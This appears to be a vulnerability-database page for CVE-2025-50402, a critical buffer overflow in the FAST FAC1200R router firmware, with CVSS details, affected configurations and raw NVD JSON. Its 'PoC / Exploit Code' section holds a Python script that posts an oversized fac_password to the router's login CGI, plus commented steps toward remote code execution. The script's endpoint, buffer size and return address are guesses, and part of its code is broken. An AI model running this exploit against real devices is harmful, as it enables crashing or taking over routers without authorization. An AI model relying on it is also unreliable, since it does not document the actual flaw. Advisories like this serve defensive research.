Security Vulnerability Report
中文
CVE-2025-50402 CVSS 9.8 CRITICAL

CVE-2025-50402

Published: 2025-11-26 16:15:48
Last Modified: 2026-01-02 14:46:22

Description

FAST FAC1200R F400_FAC1200R_Q is vulnerable to Buffer Overflow in the function sub_80435780 via the parameter string fac_password.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:fastcom:fac1200r_firmware:f400_fac1200r_q:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:fastcom:fac1200r:-:*:*:*:*:*:*:* - NOT VULNERABLE
FAST FAC1200R F400_FAC1200R_Q (固件版本未明确)
FAST FAC1200R 全系列使用相同固件代码的版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-50402 PoC - Buffer Overflow in FAST FAC1200R fac_password # Target: FAST FAC1200R F400_FAC1200R_Q router # Vulnerability: Buffer overflow in sub_80435780 via fac_password parameter target_ip = "192.168.1.1" # Router IP target_port = 80 # Generate payload with excessive length to trigger overflow # The buffer size is typically around 256-512 bytes password_length = 1024 # Adjust based on target overflow_payload = "A" * password_length # Target endpoint for password parameter (typical router web interface) url = f"http://{target_ip}:{target_port}/cgi-bin/login.cgi" # Construct the malicious request data = { "fac_password": overflow_payload, "username": "admin" } print(f"[*] Sending exploit payload to {url}") print(f"[*] Payload length: {password_length} bytes") try: response = requests.post(url, data=data, timeout=10) print(f"[+] Response status: {response.status_code}") print(f"[*] Exploit sent - check for crash or shell access") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") # For RCE, replace 'A' * password_length with: # return_address = p32(0x08048484) # Address of shellcode # nop_sled = "\x90" * 100 # shellcode = "\xcc" * 50 # Placeholder shellcode # overflow_payload = nop_sled + shellcode + return_address * (password_length // 4)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-50402", "sourceIdentifier": "[email protected]", "published": "2025-11-26T16:15:48.070", "lastModified": "2026-01-02T14:46:22.270", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FAST FAC1200R F400_FAC1200R_Q is vulnerable to Buffer Overflow in the function sub_80435780 via the parameter string fac_password."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-120"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:fastcom:fac1200r_firmware:f400_fac1200r_q:*:*:*:*:*:*:*", "matchCriteriaId": "1A7D4018-A7FE-476C-8494-D4BA8F61650E"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:fastcom:fac1200r:-:*:*:*:*:*:*:*", "matchCriteriaId": "87583FA7-470F-4EBB-8B62-5BE3A797B7F7"}]}]}], "references": [{"url": "https://github.com/sezangel/IOT-vul/tree/main/FAST/FAC1200R/2", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/sezangel/IOT-vul/tree/main/FAST/FAC1200R/2", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}